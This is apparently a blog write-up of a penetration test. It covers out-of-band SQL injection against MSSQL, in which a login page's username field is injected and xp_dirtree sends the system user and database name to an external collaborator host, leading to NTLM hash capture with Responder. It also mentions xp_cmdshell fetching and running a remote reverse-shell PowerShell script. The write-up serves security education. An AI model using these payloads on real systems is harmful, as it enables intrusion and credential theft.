Behind the Query: Unearthing NTLM Hashes with SQL Injection

While my exploration into SQL injection and NTLM hash theft is a culmination of my insights and experiences, it’s deeply rooted in the pioneering research done in this domain over the past few years. I highly recommend diving into the references provided for those seeking a more granular understanding.

The Hidden Threat in Plain Sight

Have you ever wondered what’s lurking in the shadows of your database? Enter SQL Injection (SQLi) – the sneaky intruder causing havoc in databases worldwide.
SQL Injection (SQLi) is an attack where malicious SQL code is inserted into input fields to manipulate or exploit the database behind a web application. This can lead to unauthorized viewing, corrupting, or deleting data and, in some cases, give an attacker extensive control over the host machine.

The Art of SQLi
It’s not just about injecting malicious code; it’s about understanding the system, finding the weak spots, and striking with precision.

When Queries Go Rogue
Imagine writing a simple query, expecting it to fetch data. But what if it does more? What if it sneaks around, peeping into places it shouldn’t?

The Basics of OOB SQLi:
Traditional SQLi attacks retrieve data directly in the same channel (like a webpage). But OOB SQLi? It’s craftier. Instead of using the same channel, it sends the data through a different route, often bypassing conventional defenses. OOB SQLi is a crafty and often overlooked technique, but with understanding and vigilance, it’s possible to guard against this sneaky form of data exfiltration.

SMB: The Unsuspecting Messenger
Ever passed a note in class? SMB is like the messenger in the digital realm. But what if someone intercepts that note and reads your secrets?

The Great Heist: Stealing NTLM Hashes
Imagine being able to mimic someone’s secret handshake. That’s what capturing NTLM hashes feels like. And with SQLi, this isn’t just a fantasy.

The Unsung Hero of the Finding: MSSQL
MSSQL isn’t just a database; it’s a fortress. But every fortress has its secret passages, and in the world of MSSQL, stored procedures can sometimes be that hidden door. Imagine a world where repetitive tasks are automated, where complex sequences become one-word commands. That’s the magic of stored procedures in MSSQL. They’re like the wizards behind the curtain, making everything run smoothly.

When Good Code Goes Rogue
But every magic trick has its secrets. Some stored procedures, when misused, can become tools for mischief. Let’s uncover some of these:

xp_cmdshell: Think of it as the genie of MSSQL. It grants wishes by executing system commands. But what if someone wished for something they shouldn’t have? By default, it’s disabled but can be enabled in some cases.

Getting a shell: It tells the system to fetch a PowerShell script (rev.ps1) from a specific location (http://ip:port/). The IEX PowerShell’s Invoke-Expression cmdlet runs commands or expressions on the local computer.

“While there are numerous procedures that can facilitate data exfiltration, this blog post will zero in on one specific method. I’ll detail how I successfully retrieved NTLM hashes using the xp_dirtree stored procedure in MSSQL.”

Let’s dive into it!!

The Unassuming Login Page:
Stumbling upon an SQL injection vulnerability on a login page in today’s age of cybersecurity is like unearthing an ancient artifact in a newly built city. Yet, here it was, hidden in plain sight. The application’s sleek login page, which one would assume to be impenetrable, whispered of an old vulnerability through its ‘username’ parameter. A reminder that even in the most modern landscapes, echoes of the past can still be found.

A Simple Test, A Revealing Outcome:
With a hint of anticipation, I navigated to the login page. My fingers danced over the keyboard, inputting the crafted SQL query. shubham' WAITFOR DELAY '0:0:5'-- Into the username field, accompanied by a random password. The subsequent delay was all the confirmation I needed. The server had taken the bait, executing my SQL command.

The Request from Burpsuite.

The Trusty sqlmap:
Armed with this knowledge, I turned to my trusty sidekick, sqlmap. A tool that has proven invaluable time and again. But, to my surprise, it flagged this as a false positive. While I greatly respect sqlmap and its capabilities, this reminded me that no tool is infallible. Manual testing and intuition remain irreplaceable.

Diving Deeper with Stored Procedures:
Determined to uncover more, I turned my attention to stored procedures. With a carefully constructed payload, I aimed to extract valuable data. I crafted a payload to exfiltrate data. The goal? Retrieve the current database. The result? Success. The payload revealed both the system user and the database name.

Understanding The Payload
Here, two variables @a and @b are declared, both of which can hold strings up to 1024 characters. The system_user function is used to retrieve the name of the current user in the SQL Server. This value is then assigned to the variable. @a. The DB_Name() function fetches the name of the current database. This name is stored in the variable. @b. EXEC('master..xp_dirtree...: This part of the payload executes the xp_dirtree stored procedure. This procedure is used to list directory files. However, in this context, it’s being used craftily. \\"\\\\' + @a + '.' + @b + '2svs731t2s6bhy1r9pghilk9n0trhl5a.oastify.com\test$": This constructs a UNC path using the previously fetched system user and database name. The UNC path seems to point to a domain (oastify.com), which suggests an attempt to initiate an SMB connection to that domain. This is likely an attempt to capture NTLM hashes if the server tries to authenticate to the provided domain.

The request from Burpsuite

The response from the collab server.

The Responder’s Call:
I set up the Responder tool with the data, patiently awaiting incoming queries. I was on edge, keenly awaiting the inbound signals.

The Final Play:
With everything set up, I turned to xp_dirtree once more. This time, the aim was the NTLM hashes. And just like that, the hashes were mine.